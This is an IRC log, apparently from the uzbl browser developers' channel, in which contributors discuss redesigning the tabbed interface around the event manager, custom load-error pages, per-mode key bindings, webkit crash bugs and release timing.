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10:34 < rob__> mason-l: i wonder what your plans for tabbed are, is it going to be an EM plugin?
10:36 < mason-l> rob__, Its a difficult call. I would love uzbl-tabbed to make use of the new features in the experimental branch but I'm still not sure of the best way to go about that.
10:36 < rob__> where the EM would keep a persistent history of the sessions and just restore/close the X windows on a command/event
10:36 < rob__> well, implementing it as a plugin seems sensible
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10:37 < mason-l> Plugin: no. An event_manager.py extension: maybe.
10:37 < rob__> we could then have a trivial wrapper:  echo 'EVENT [123] RESTORE_TABS' | sockat - unix-connect:em-socket
10:38 < mason-l> Anyway brb, I've got to make dinner.
10:38 < rob__> ok
10:39 < rob__> well, i like the idea of it being an EM plugin that reacts to a couple of requests
10:39 < lich> tab borders
10:41 < rob__> like request NEW_TABBED (which would open a new tabbed instance), RESTORE_TABS (which would restore the last/a specied tab instance), QUIT_TABBED, BACKGROUND_TABBED, etc.
10:41 < rob__> this would trivialize key bindings and the general communictaion of core <-> tabbed
10:42 < lich> you could make -tabbed into a plugin :D
10:43 < rob__> yes, that's what i'm talking about
10:43 < lich> that awesome :D
10:43 < lich> when does this get out anyway?
10:43 < lich> I want to move to the new one
10:43 < rob__> plugin as in EM plugin
10:43 < lich> yeah
10:43 < Dieterbe> wouldn't that complicate some other matters?
10:43 < rob__> which ones?
10:44 < Dieterbe> i like the simple separation we currently have.  just a program that embeds some uzbl-browsers by using xembed
10:44 < Dieterbe> i.e. it's a separate program
10:44 < lich> but atleast make uzbl-tabbed as an executable script and install with uzbl exe
10:44 < Dieterbe> it could get messy if you want to couple it to tightly to the python EM
10:45 < Dieterbe> not sure though. just thinking out loud
10:47 < rob__> well, either way it would still have to communicate with the EM
10:47 < rob__> so making it a part of it seems sensible
10:47 < Dieterbe> not sure. does it? i don't really know how uzbl-tabbed works
10:49 < keis> the sessionmanagment part makes sense to have in the EM, it could be usefull outside tabbed too
10:49 < keis> hi btw :)
10:49 < rob__> it needs to be informed of window creation (INSTANCE_START) needs to retrieve key bindings and a couple more things, the EM already provides a nice API for all this - why not just make use of it?
10:49 < rob__> hey keis
10:50 < rob__> yeah, a (separate) session management plugin sounds like a good idea
10:50 < lich> and, of course, tab borders
10:52 < keis> but maybe it's better to have external scripts to take care of that bound with ONEVENT
10:53 < rob__> i guesll i'll pipe the irc output through sed in th future:  sed -e '/^lich.*borders.*/d'
10:54 < rob__> keis: well, then these scripts would need a config file or some way to configure, with the plugin approach we could just use uzbls config with no further effort
10:54 < keis> what configuration do you need?
10:55 < rob__> e.g. specific bindings for tabbed (go next/prev tab, etc.)
10:55 < keis> im only talking of keeping track of the "session"
10:55 < rob__> oh, sry
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10:56 < Dieterbe> hmm.
10:56 < Dieterbe>  mason-l> Plugin: no. An event_manager.py extension: maybe.
10:56 < Dieterbe> i wonder what the reasoning behind the 'plugin: no' part is
10:56 < rob__> yeah, me too
10:57 < keis> what is the distinction between extension and plugin anyway?
10:58 < rob__> an extension is not necessarily part of the EM, while a plugin certainly is
10:59 < keis> umh
11:01 < keis> so the extensions would be something like a shell-script?
11:01 < rob__> yeah, or even java scripts
11:01 < rob__> i mean they extend the features
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11:02 < keis> hmm. but then they have nothing to do with the EM at all?
11:02 < rob__> when we get tabbed solve i have one more question/idea
11:02 < rob__> for the EM
11:03 < Dieterbe> fire
11:04 < rob__> well, the EM associates uzbl instances to its uzbl object instances based on the socket descriptors, right?
11:05 < keis> I think it's done by xid
11:05 < Dieterbe> i believe so yes
11:05 < rob__> so when we open a new connection to the EM and write something to it, we can't have the EM send this to another (already running) uzbl
11:06 < Dieterbe> depends whether it knows about that other uzbl already or not?
11:07 < rob__> as in: echo "EVENT [999] FOO bar" | socat ...:em-socket -
11:07 < rob__> would send that event to the uzbls instance "999"
11:07 < rob__> -s
11:08 < rob__> or rather s/send/forward/
11:08 < Dieterbe> huh? this is just an event message from instance 999, to the socat (which you can "spoof" by sending it from another instance, if that's what you mean)
11:09 < Dieterbe> to the EM*
11:09 < rob__> hmm? no, i don't think we're talking about the same thing
11:10 < lich> it has occured to me that this turns into something really complicated for normal users...
11:11 < rob__> lich: well, that's just the internals. the user will have handy wrappers for it
11:12 < lich> yeah but the user would also want the opportunity to write his own scripts
11:12 < rob__> like: 'uzbl-tabbed restore'
11:12 < lich> tat's the whol epoint of doing it all from outside the browser
11:12 < Dieterbe> yeah and right now you cannot write your own scripts..
11:12 < lich> dunno, I liked the old on..simple
11:12 < Dieterbe> then use that
11:12 < lich> I do use that
11:12 < Dieterbe> or use your own fork. i don't care
11:12 < lich> but I might go back to vimperator
11:12 < rob__> lich: that is unchanged
11:12 < rob__> you can still used scripts as in master
11:13 < lich> your attitude is back to beein an arsehole heh?
11:13 < rob__> *use
11:13 < lich> not you rob__
11:13 < Dieterbe> in fact, all of what we're discussing are just such scripts
11:13 < lich> yeah, and it sounds really "complicated"
11:14 < Dieterbe> noone is forcing anyone to use certain scripts
11:16 < lich> I rather liked the project, sadly this kind of attitude that you have is something I will never understand or condone...shame..I won't be back here anymore. good luck
11:16 < Dieterbe> so rob__ what do you mean? i don't understand
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11:16 < rob__> hmm
11:17 < rob__> i mean being able to send event messages from another "process" to the EM socket and have this forwarded to a particular EM uzbl object instance
11:18 < keis> why not connect to the socket of that uzbl then?
11:20 < rob__> wouldn't it be just plain easier to send everything to _one_ socket?
11:20 < rob__> and not having to open many connections, that why we introduced --connect-socket after all
11:20 < keis> hmm
11:21 < rob__> the connecting script could also easily request a list of running instances for that matter
11:21 < keis> are you talking about sending to several instances? and as a shortcut use the EM to do this?
11:21 < Dieterbe> ooh
11:21 < rob__> yes, basically
11:22 < Dieterbe> this makes the EM more a UM 
11:22 < Dieterbe> or a E+U M ;)
11:22 < rob__> U?
11:23 < Dieterbe> uzbl manager ;)
11:23 < rob__> it is one already :)
11:24 < rob__> after all it tracks the state of several uzbls
11:24 < rob__> so adding this feature would just be a logical step
11:24 < Dieterbe> but, until now, only for it's own internal use
11:24 < rob__> yeah, so adding a 'name' property to each object and making use of it shouldn't be too hard
11:25 < xyz`> e
11:26 < xyz`> er cleaning kb mouse moved here somehow ignore that
11:26 < Dieterbe> :P
11:27 < Dieterbe> well rob__ i think it's yet another fundamental change in the way our tools are designed.  but i don't there are disadvantages
11:27 < Dieterbe> +think
11:28 < rob__> fundamental change, really? it's just an additional feature
11:28 < keis> one can then ask what the purpose of /tmp/uzbl_socket_X is going to be
11:28 < rob__> so if you do use the EM already you can also use it to make your scripting life easier
11:28 < Dieterbe> rob__: yeah, having management of events + management of uzl instances in 1 program. whereas the EM used to be just management of events
11:29 < rob__> keis: well, not everyone wants to use the EM
11:29 < Dieterbe> indeed keis 
11:29 < rob__> keis: so they can still stick with sockets/fifos
11:30 < rob__> hmm, i don't see the point. the EM does this already, it just doesn't expose it to the outside..
11:31 < keis> but by doing it we introduce duplication of functionality
11:32 < rob__> well, not necessarily. how else would you retrieve a list of all running uzbls and say their window titles?
11:33 < rob__> given that they create sockets/fifos in different places
11:33 < keis> i have that already, it's just a matter of looping through all sockets in /tmp
11:33 < rob__> sure, but that's not really elegant
11:33 < keis> why would you create them in diffrent places?
11:34 < Dieterbe> rob__: xwininfo -all -root
11:36 < rob__> Dieterbe: that's even more of  a hack
11:36 < Dieterbe> why is that a hack?
11:41 < rob__> because uzbl's name is not always the xid
11:43 < rob__> so you would get a list but can't make use of it in order to address a specific instance
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11:49 < Dieterbe> unless you put @NAME in your title, or expose it as an xprop (something that's on the todo for already a long time)
11:59 < rob__> well, that would probably work (xprop) but still querying the EM seems a lot nicer
11:59 < rob__> anyways, just my oppinion
12:03 < Dieterbe> i like it when solutions for things are orthogonal to each other, i.e. if you want A you can use script A without needing script B because you don't like functionality B
12:03 < Dieterbe> but, i guess we could do the EM thing, and people can still do it the xwininfo/xprop way, though we get a bit duplicate functionality then
12:08 < Dieterbe> but, sometimes pragmatism is more important so anyway, fine by me rob__ 
12:08 < Dieterbe> i have the feeling we are slowly progressing to a more unified filesystem alike approach as discussed on the ML, but we'll see
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14:05 < Dieterbe> mason-l is having a very long lunch break :P
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14:07 < mason-l> Just listening to 'The Ricky Gervais Show' :)
14:07 < mason-l> And watching Farscape again.
14:07 < mason-l> Between other things.
14:07 < mason-l> All at once.
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14:13 < Dieterbe> :P
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15:01 < rob__> http://www.screencast-o-matic.com/create?step=info&w=1020&h=760&itype=choose
15:02 < rob__> ^^ quick screencast of uzbl in a tiler, using dynzoom
15:02 < Dieterbe> hmmmz it requires to run a java app?
15:02 < Dieterbe> is this safe?
15:02 < mason-l> rob__, Is there a direct download link?
15:03 < mason-l> That viewer requires the java applet installed, no thanks.
15:11 < rob__> oh, there is though this would require a youtube account to create ;)
15:12 < rob__> em, weird sentence
15:15 < Dieterbe> is it easy to create a screencast? might be cool to do a screencast to introduce uzbl to newbies
15:18 < rob__> yeah, there is this java app that works pretty well
15:18 < rob__> i screencasted a vmware though
15:22 < mason-l> rob__, Is vimeo easier to work with?
15:23 < mason-l> http://vimeo.com/sign_up
15:23 < rob__> i'll upload to youtube
15:25 < Dieterbe> vimeo is more hip and cool then youtube :)
15:27 < mason-l> And cleaner.
15:29 < rob__> true, i'll just ompload an avi and flv version. just a sec
15:38 < rob__> well, omploder doesn't display these file types..
15:41 < mason-l> Should have just gone with vimeo
15:41 < rob__> so, http://www.youtube.com/watch?v=uWc-m6S2ImM
15:54 < rob__> quite usable tab replacement for not too many windows
15:56 < rob__> although turning the content into a string (title, uri) when the window is smaller than a x*y pixels should scale pretty well with many windows..
15:58 < Dieterbe> imho, you should see only the things that you really must see. so i don't really see the point of this.  i like having one window maximized and when i want to switch to another, to have a dmenu interface or something
15:59 < rob__> Dieterbe: that's what i forgot not show in the screecast. you can easily switch to "full/maximized" mode with one keystroke
15:59 < rob__> another keystroke shows you all the open tabs
16:02 < Dieterbe> why would i need to toggle between two modes if i disagree with one of them? ;)
16:03 < rob__> well, i don't disagree with tabs in general
16:10 < Dieterbe> i wonder how stuttery it is if you have uzbl in a floating window and resize the window and see the resizing in realtime
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17:05 < rob__> oh, this one is nice: http://hg.suckless.org/tabbed/
17:06 < Dieterbe> i wonder if we shouldn't just do a new release now and do another one whenever a new uzbl-tabbed is done; instead of waiting
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17:14 < rob__> i guess we should do it
17:14 < mason-l> Can you give me a day Dieterbe?
17:14 < mason-l> I'll try to do as much as I can to get a plugin based tabbing pushed out.
17:14 < rob__> oh, that sounds good
17:17 < Dieterbe> sure i can give you a day, or more :)
17:17 < Dieterbe> as long as most things from the old-uzbl tabbed work again with the new system, it's good enough for a first release i guess
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18:59 < MichaelRaskin> About Git tags: it looks like shallow git-fetch-ing  is easier with tagged revisions than with arbitrary ones
19:02 < MichaelRaskin> And shallow fetches are better for packaging
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20:28 < yitz_> Drat. Can I make a binding only work in cmd mode?
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21:31 < hickop> hey , any of you uses the adblock script and got an adblock list working please ?
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22:02 < kick52> hello.
22:03 < kick52> apparently I can't get to URLs on non-standard ports?
22:03 < kick52> hostname.com:3009 or whatever doesn't work.
22:04 < kick52> the error I get is "URL cannot be shown"
22:06 < MichaelRaskin> kick52, maybe you should prepend http://
22:06 < MichaelRaskin> To be sure it is not a protocol-host-port separation issue
22:06 < MichaelRaskin> Also it may be your proxy
22:06 < kick52> ahh okay that works
22:06 < kick52> annoying though
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22:43 < yitz_> Ooh! Form filler is nifty.
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22:53 < rob__> btw:  @on_event LOAD_ERROR set inject_html = \@(sed -e 's,___REASON___,%1,' /path/to/error-page.html)\@
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22:54 < rob__> and place somewhere in error-page.html ___REASON___   which will be replaced with the actual error reason
22:54 < Dieterbe> evening ladies
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22:55 < Dieterbe> a "trick of the day" section would be cool on the uzbl website ;)
22:55 < rob__> yeah, indeed :)
22:59 < yitz_> Can I bind something for only CMD more?
23:00 < rob__> yitz_: sure
23:00 < yitz_> Ooh. Good. How? binding space to scroll doesn't work well in insert mode
23:01 < rob__> erm? didn't you say cmd mode?
23:01 < yitz_> Um. Yes.
23:01 < yitz_> I bound it normally and it affects both modes which screws up insertion
23:01 < yitz_> I want to restrict the bind to just CMD
23:02 < rob__> well, the easiest workaround would be to bind <Ctrl><Space> which would still work in both modes but wouldn't be that annoying
23:03 < rob__> or you could remove remove/re-add the binding on mode change
23:05 < Dieterbe> goodnight maties
23:05 < rob__> night dieter
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23:06 < yitz_> Ah. No simple fix, then
23:06 < rob__> but i agree with you, we should reintroduce the modkey concept
23:06 < rob__> and the EM should only catch bindings when that key is held in insert mode
23:08  * yitz_ goes the lazy route and switches to CtrlSpace
23:08 < rob__> mason-l: ^^ how much work would the above idea need?
23:13 < yitz_> Time to head home. bbl
23:13 < rob__> bye
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02:27 < sykora> For some reason, uzbl is not passing the name of its FIFO file to my scripts, they're not able to talk back.
02:28 < modnaru> sykora: Try restarting EM?
02:28 < sykora> EM?
02:29 < modnaru> Are you on experimental?
02:29 < sykora> no, I'm using the Arch AUR package from the git master branch
02:29 < sykora> but I don't mind trying the experimental version either.
02:29 < modnaru> Okay, nevermind then... I don't have an answer.
02:30 < sykora> ok
02:31 < sykora> I ran uzbl with verbose to see what was wrong
02:31 < sykora> it's simply not passing in $4
02:31 < modnaru> Oh, maybe try deleting your fifos in tmp...?
02:32 < sykora> or $5, for that matter
02:32 < sykora> there's nothing in /tmp
02:32 < sykora> maybe it isn't even creating any fifos
02:33 < modnaru> That might be a configurable setting.
02:33 < sykora> there, fifo dir and socket dir, let me try those
02:36 < sykora> After setting fifo_dir and socket_dir, it says "init_fifo: can't create <fifo-path>, no such file or directory"
02:37 < sykora> Ah ok, I used ~ instead of $HOME, it works now
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04:56 < mason-l> Hey guys
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06:59 < dylanfish> Hi.
06:59 < dylanfish> Bonjour.
06:59 < dylanfish> Hello?
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09:27 < Dieterbe> good day mason-l , good evening bct and good morning others
09:27 < mason-l> Hey
09:29 < mason-l> brb
09:29 < mason-l> Dieterbe, I'm evening too :)
09:30 < mason-l> I just have a habit of waking at 12pm and dozing off at 6am.
09:30 < Dieterbe> :)
09:30 < mason-l> s/pm/am/
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09:52 < rob__> morning.
09:53 < Dieterbe> it's the robman!
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09:55 < rob__> mason-l: still around?
09:56 < mason-l> I just got back.
09:56 < rob__> mason-l: in the onevent module, could you make it so that every event's positional params are split on whitespace?
09:57 < rob__> mason-l: and maybe add a '%*' param that gives all of them concatanated
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09:57 < mason-l> rob__, %@ already does that.
09:58 < rob__> ah, ok
09:58 < rob__> anyway, always splitting on WS might not be such a godd idea
09:59 < mason-l> Once we split on whitespace there would be requests to be able to escape or encapsulate WS in ""'s which adds more complexity to the program.
10:00 < rob__> indeed
10:00 < mason-l> Maybe I should have changed %@ into %$ so that the @ isn't picked up by uzbl.
10:01 < rob__> or %* ;)
10:01 < mason-l> Yeah :)
10:02 < rob__> i'm playing with LOAD_ERROR and displaying custom error pages with inject_html
10:02 < mason-l> Nice.
10:02 < rob__> works pretty well, though onevent is not aware of LOAD_ERROR's params. i.e. only %1 will work
10:03 < mason-l> Yeah. Maybe you could use js to split the string up?>
10:03 < mason-l> Oh wait.
10:03 < mason-l> That won't work unless its done inside the EM.
10:04 < rob__> it's: LOAD_ERROR uri<space>reason_of_error  (i guess i didn't document it right)
10:04 < mason-l> Maybe we need a new lexi to split up strings and return indexes of them.
10:05 < mason-l> Like '@:some string:@[1]' returns 'string'
10:06 < mason-l> And '@:one two three four:@[1:2]' returns 'two three'
10:06 < rob__> hmm, that looks pretty cryptic
10:06 < mason-l> (Just an idea).
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10:39 < rob__> some sedding is enough:  http://omploader.org/tMm40bA
10:39 < rob__> err, http://omploader.org/vMm40bA
10:41 < Dieterbe> looks cool
10:42 < Dieterbe> so you can do that with just one line in a config?
10:42 < rob__> yeah
10:43 < Dieterbe> give me your line, i want to try it also :)
10:43 < rob__> though, i use a script (file) and a html file so i can easily change the look
10:44 < Dieterbe> for uzbl-browser we probably want the simple oneliner in the default config
10:45 < Dieterbe> rob__: or better, commit the oneline trick to the sample config in experimental, then i'll pull it through git
10:46 < rob__> i'll just pastebin what you need
10:47 < rob__> pastebin.com/m4e09717f
10:47 < rob__> i pretty much suck at html, so a nicer template would be welcome..
10:49 < ruskie> ohhh shiny
10:51 < rob__> you could certainly do all that on a single line in the config, but it would look extremly messy
10:54 < Dieterbe> well i don't need fancy html markup. just a simple plaintext message (or even in the statusbar)
10:57 < Dieterbe> hmm. do you guys also get `LOAD_ERROR http://uzbl.org/ 302:Load request cancelled` when starting uzbl with a specified page to load? it seems to emit this error when you tell it to load a page while it was still busy loading another
10:57 < mason-l> Dieterbe, I get that error also.
11:03 < rob__> Dieterbe: for the statusbar you can easily do that, too. just introduce a new variable error_msg that you add to status_format
11:03 < rob__> Dieterbe: fill it on LOAD_ERROR, empty it on LOAD_COMMIT
11:04 < rob__> @on_event LOAD_COMMIT set error_msg =
11:04 < rob__> @on_event LOAD_ERROR set error_msg = %1
11:14 < Dr1Horrible> which webkit version should I get? 1.10 has troubles with gifs and 1.15 crashes uzbl...
11:15 < rob__> 1.1.15.2
11:16 < Dieterbe> yep. it's just 1.1.15.3 that's bad
11:16 < Dr1Horrible> okay, thanks
11:16 < Dr1Horrible> abs ftw
11:19 < rob__> iirc 15.1 had troubles with JS
11:24 < mason-l> rob__, For image hosting use imgur.com :)
11:24 < rob__> btw: http://cvcl.mit.edu/hybrid_gallery/gallery.html
11:24 < rob__> pretty cool
11:28 < Dieterbe> hey rob__ i found a cool bug. if you take your html errorpage, and modify the <img> so that the url is not correct, then it will keep trying to do new requests and since it resets the keycmd all the time you cannot time anything anymore
11:29 < Dieterbe> but trying to fix that is probably more complicated then "make sure your error page is correct" ;)
11:29 < mason-l> That src should point to ../uzbl.png in the repo and when installed point to /usr/local/share/uzbl/examples/data/uzbl/uzbl.png
11:30 < Dieterbe> or just always point to XDG_DATA_HOME/..., then it will work in dev mode + on installed system
11:30 < rob__> recursive madness ;)
11:30 < rob__> i agree, it should be a local file
11:30 < mason-l> Only if the user has copied the uzbl.png into $XDG_DATA_HOME/..
11:31 < mason-l> Or just put in some alt text saying 'you should see an image here normally located at /usr/..'
11:31 < Dieterbe> mason-l: right. image doesn't belong in ~
11:32 < Dieterbe> but anyway i think this approach is overkill as default behavior anyway
11:32 < mason-l> Dieterbe, Well its nice having the option to override it. It might be nice to have the error script check if it exists and dynamically builds the html.
11:33 < rob__> right, dynamically building the html (maybe even based on the error code/message) would be the perfect solution
11:34 < rob__> though this would also make it harder to edit it ;)
11:34 < mason-l> I can whip up some python to do that. I'll improve on it after its in the experimental branch if you like.
11:34 < Dieterbe> i really don't get why you guys want to make things so complicated. what's so bad about setting inject_html to a simple plaintext string, or putting the message in the statusbar?
11:35 < rob__> nothing, it just doesn't look that cool :P
11:36 < mason-l> I think we should have it :)
11:36 < mason-l> Its only a couple of line html file.
11:36 < Dieterbe> ok well, go nuts. i'll see what you've come up with it
11:37 < Dieterbe> s/it//
11:37 < Dieterbe> about the image, we can also do the sed PREFIX trick in the makefile
11:37 < mason-l> Yeah.
11:44 < rob__> meanwhile i'll try to finally get my edit textarea in $EDITOR thing going..
11:45 < Dieterbe> meanwhile, i'm at work, unable to do any uzbl hacking as usual :(
11:46 < Dieterbe> mason-l: so mason, you'll do some nice load error handling?
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11:46 < mason-l> Dieterbe, I wont change anything I'll just use python to make sure the icon is loaded correctly.
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11:48 < mason-l> rob__, How does --connect-socket handle being asked to connect to sockets that haven't been created yet?
11:48 < Dieterbe> why python? just takes robs example (pastebin.com/m4e09717f), make the img point to a fixed directory, which you update in the make install target
11:48 < rob__> mason-l: it will just ignore them
11:49 < mason-l> Dieterbe, Because like everything else the user might like to replace the image in $XDG_DATA_HOME/uzbl/uzbl.png and have that loaded instead.
11:50 < mason-l> rob__, :(
11:50 < Dieterbe> mason-l: well, then he can write a custom html page that points to wherever he wants
11:50 < mason-l> Dieterbe, Looks like you don't need anything other than sed.
11:50 < rob__> mason-l: keis has a reconnect patch, that tries to reconnect after a certain amount of time. maybe we should include it..
11:51 < mason-l> If its stable that would be awesome.
11:51 < rob__> keis: ?
11:51 < mason-l> And it does the request saving and event ignoring.
11:51 < Dieterbe> mason-l: you could do that, but then your config gets a little messier.. anyway i'm just saying do not introduce yet another layer of indirection.  the user can already customize all things
11:51 < mason-l> Dieterbe, I mean in the make install.
11:52 < Dieterbe> mason-l: that's what i said earlier. and then you said the user might want to override things.  there should be no user-level customisations going on at the make /package installation level
11:52 < mason-l> rob__, And its capable of reconnecting to multiple sockets.
11:53 < rob__> i guess it is
11:53 < ruskie> lol... amusing discussion... so here's the code.. great I'll rewrite it in python... erm why? it works? I'll still do it... ;)
11:54 < keis> hmm?
11:54 < mason-l> Hey keis.
11:54 < rob__> keis: what's the status of your reconnect socket patch?
11:54 < keis> hi :)
11:54 < rob__> yeah, hello ;=
11:55 < keis> it's sort of working. with replaying of requests
11:55 < rob__> also for multiple sockets?
11:55 < mason-l> keis, Also is it able to retry connecting to a socket that doesn't exist yet?
11:55 < keis> I havn't tried anything except the em
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11:56 < keis> no, but it would only be a matter of adding a call when the initial connect fails.
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11:58 < mason-l> keis, If you don't mind adding that option also that would be great :)
11:59 < rob__> indeed, that and multiple sockets would make it ready for inclusion
11:59 < keis> yeah, sure
12:00 < rob__> mason-l: any specific reason you need this?
12:00 < keis> I do nothing special with multiple sockets, but I guess they should just work
12:02 < mason-l> rob__, Because I'm going to make uzbl_tabbed into an event manager for easy responsiveness to tabbing related events and have a set of plugins for uzbl_tabbed.
12:02 < mason-l> Plugin system wont work.
12:02 < mason-l> Even I don't want to have to deal with threading :)
12:03 < rob__> ah, i see
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12:05 < mason-l> The other option was to maintain a tabbing version of the em (which would be the simplest)
12:07 < Dieterbe> what's the difference between 'make uzbl_tabbed into an event manager' and 'maintain a tabbing version of the em' ?
12:10 < mason-l> Dieterbe, The first inherits a cut down version of the EM and loads a bunch of tabbing related plugins which runs along side the normal EM. The latter is a copy of the EM code with the tabbing code thrown on top of it.
12:10 < mason-l> In a single process.
12:10 < mason-l> Which loads both sets of plugins.
12:15 < hickop> did you guys also see the left menu of wiki.archlinux.org , on the bottom ?
12:16 < mason-l> hickop, Strangely I don't see it also.
12:17 < Dieterbe> mason-l: well, pick whichever is the best
12:17 < Dieterbe> hickop: i don't see anything special?
12:18 < mason-l> Dieterbe, I don't see anything at all. There is no left column.
12:18 < hickop> for me the left column is at bottom of page
12:19 < mason-l> Oh same here.
12:19 < mason-l> webkit 1.1.15.2
12:19 < Dieterbe> for me it isn't
12:19 < mason-l> hickop, What OS are you running?
12:19 < hickop> arch
12:20 < Dieterbe> ooh you mean with uzbl.. yeah. odd indeed
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12:20 < Dieterbe> hey midori does it too. not our fault :P
12:20  * mason-l handballs 
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12:26 < rob__> rendering issues are never our fault ;)
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13:20 < axionix> hickop: you're not alone, i hate the navigation at the botttom of the wiki
13:21 < axionix> but yeah, webkit is not perfect. uzbl is :)
13:21 < hickop> yea
13:22 < hickop> i found worse btw : http://www.zytrax.com/tech/web/browser_ids.htm
13:23 < hickop> but should we blame webkit or webiste authors that do not respect standards ...
13:24 < axionix> website authors ofc
13:24 < axionix> every site should validate markup and styles
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13:27 < keis> you can still make broken site with valid xml/css
13:28 < axionix> ofc
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13:30 < hickop> chromium uses webkit also ?
13:31 < keis> yes
13:33 < keis> but with another javascript implementation I think
13:34 < axionix> no, chrome has another js
13:34 < axionix> well mayeb chromium does too
13:34 < axionix> but i didnt think so
13:35 < keis> oh, I thought it was they same thing. but with diffrent branding
13:35 < axionix> nope
13:36 < axionix> chrome has a TOS that many people run away from
13:36 < axionix> also has a few more small features
13:38 < keis> any TOS except "use on your own risk" is bs
13:48 < hickop> hum changing my useragent to the chromium one and the sites shows ok now Oo
13:51 < hickop> also grc.com finally loaded if i use privoxy
13:58 < rob__> hrrm, user agent insanity again?
13:59 < hickop> i dunno but using chromium one and the website i mentioned above works as expected , but not whit uzbl default useragent
14:00 < rob__> yeah, many websites behave like that
14:04 < Dieterbe> that's weird. i didn't think that much sites would change their output based on the UA to that extent
14:09 < rob__> oh, seems like the webkit guys have bumped the version to 1.1.16
14:11 < keis> anything intresting in the changelog?
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14:23 < Dieterbe> they don't even have a changelog on their website :?
14:23 < rob__> not, it's here http://svn.webkit.org/repository/webkit/trunk/WebKit/gtk/ChangeLog
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14:24 < rob__> '*no
14:27 < Dieterbe> how can you find that from their website?
14:28 < rob__> dunno
14:28 < Dieterbe> you can't :)
14:28 < rob__> it was just pretty clear where to search
14:28 < Dieterbe> you mean google?
14:28 < rob__> no i mean the source tree
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14:37 < rob__> hmm, pacman mirrors are slow :(
14:38 < rob__> i hardly hit 1MB/s
14:38 < Dieterbe> oh btw if you want to try 1.1.16, use ABS
14:39 < rob__> that would take ages on my laptop
14:44 < rob__> anyway, will try in a vmware. for me abs has 1.1.15.3
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14:47 < rob__> Dieterbe: how can i disable md5 checking?
14:48 < Dieterbe> abs always contains the latest source packages, so it's normal it has 1.1.15.3
14:48 < Dieterbe> no idea.  check man makepkg
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14:50 < rob__> well, started the build. let's see how long this will take on single CPU vmware
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14:51 < Dieterbe> :P
14:51 < Dieterbe> you have intelVT or similar?
14:52 < Dieterbe> you could also build the image on the real box, and install it in the VM
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14:52 < rob__> well, i have a intel Q6600
14:52 < rob__> *an
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14:53 < Dieterbe> oh that looks pretty fast
14:55 < rob__> it's ok, though i assigned only one core to vmware arch
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15:01 < rob__> jelly12g1n: hmm, fix your client please
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15:39 < rob__> oh, compile done
15:40 < rob__> hmm, still segfaults :(
15:40 < rob__> with 1.1.16
15:43 < Dieterbe> :|
15:43 < Dieterbe> what are they doing..
15:46 < rob__> so it seems to segfault at the very same place as 15.3
15:46 < rob__> namely g_context_prepare
15:46 < rob__> erm, g_main_context_prepare
15:46 < Dieterbe> great not
15:49 < rob__> haha: http://www.uzbl.org/bugs/index.php?do=details&task_id=113
15:51 < keis> :D
15:51 < Dieterbe> lol 
15:51 < Frots> lmao
15:52 < Dieterbe> >> On the artistic level, however, wow. I'd make a poster out of it, if I were into that sort of stuff.
15:52 < Dieterbe> he's got a point
15:53 < Dieterbe> or what about t-shirts with only the text "I checked out the code, make && make installed it. I ran it, and it's a big blank white window."
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15:55 < hickop> looks like webkit doesnt like uzbl, i cant access http://webkit.org/new-bug with uzbl xD
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15:56 < Dieterbe> works fine for me
15:56 < hickop> ho, then its privoxy that blocks it
15:58 < hickop> seams so
16:00 < rob__> well, i opened a new ticket for this bug: https://bugs.webkit.org/show_bug.cgi?id=30860
16:02 < Dieterbe> thanks
16:02 < rob__> Dieterbe: [x] VOTE.  for t-shirts ;)
16:04 < rob__> so t-shirts should be like this: "uzbl (below) a big white square (below) I checked out the code, make && make installed it. I ran it, and it's a big blank white window."
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16:06 < Dieterbe> i would just put the quote on it, literally, and maybe the icon in small on the chest
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16:08 < keis> hmm, why are we keeping an array of IOChannels for the sockets?
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16:18 < rob__> Dieterbe: you should close some old bug reports an flyspray. just added a comment to some of the new ones
16:19 < Dieterbe> yeah i know. i'll do a cleanup after the next release
16:19 < Dieterbe> which reminds me
16:19 < Dieterbe> 17:14:15 < mason-l> Can you give me a day Dieterbe?
16:20 < Dieterbe> that was 23 hours ago :P
16:20 < mason-l> Its going to take longer than I've got and I've got work for the next two days.
16:21 < yitz_> Darn. Did an update and lost my webkit again
16:22  * yitz_ mutters and fixes his pacman.conf
16:24 < Dieterbe> mason-l: okay then, any eta?
16:25 < Dieterbe> 3 days or more?
16:25 < mason-l> I've got to go to a wedding on Saturday, 3 days until I can work on it full-time again.
16:25 < rob__> Dieterbe: just make sunday a (the) release day
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16:27 < Dieterbe> i dunno :) "release early, release often"
16:28 < Dieterbe> there are always reasons we could delay releases, and given we're still in alpha and such i don't see what's wrong with doing a release now and then another one whenever tabbed is ready (and then you can take more time to do it..) and in the meanwhile we already get feedback
16:29 < keis> oh btw, I have a patch which I think have proven stable which makes it possible to add initialtext to prompts
16:30 < rob__> sounds good
16:30 < keis> im using it to do '@bind O<uri:"\@uri">_ = uri %s'
16:30 < rob__> ah, this looks even better
16:30 < Dieterbe> rob__: mason-l ,.. but hey this is a democracy.. you guys both in favor of delaying the release until tabbed is done?
16:30 < rob__> though, paste support would still be nice to have
16:31 < yitz_> Ooh! I'd love that patch, keis
16:32 < rob__> Dieterbe: well, it would be certainly nie to have all components working in a release
16:32 < rob__> *nice
16:33 < mason-l> Dieterbe, I'll try not to take too long.
16:33 < mason-l> But its almost a re-write.
16:33 < mason-l> I may be able to devise a quick-fix for the original script.
16:33 < keis> yitz_: it could do with some testing if you are up to that :)
16:34 < Dieterbe> yes. and if there's one thing i know about it projects, it is that it always takes twice or thrice as long as the initial estimate :P
16:34 < Dieterbe> s/it/IT/
16:34 < yitz_> keis: Sure
16:35 < keis> it's on the 'prompt' branch at git://github.com/keis/uzbl.git
16:37 < axionix> so did webkit fix the bug upstream in git yet?
16:37 < axionix> i mean for the uzbl segfault
16:37 < Dieterbe> no
16:37 < axionix> damn ok
16:39 < axionix> btw my new wm config showing off uzbl http://omploader.org/vMm4zbg :D
16:40 < Dieterbe> what's the block on the top right?
16:40 < rob__> axionix: nice, you might be interested in the dynzoom script
16:40 < axionix> those are my uzbl 'tabs'
16:40 < Dieterbe> yes, but what tool do you use to display them?
16:41 < axionix> just a column in stacking mode
16:41 < rob__> axionix: http://www.youtube.com/watch?v=uWc-m6S2ImM
16:41 < axionix> its the wm wmii
16:41 < Dieterbe> oh :blush: i also use wmii
16:41 < rob__> axionix: zooms the contents based on the window size
16:41 < Dieterbe> but i don't like the stacking mode
16:41 < yitz_> keis: So I built it and added this to the config: @bind O<uri:"\@uri">_ = uri %s
16:41 < rob__> and hides the statusbar
16:41 < axionix> dieterbe: nice, i am using -hg with a python config
16:42 < axionix> dieterbe: the block is also on the bottom right...i just have a middle tab selected
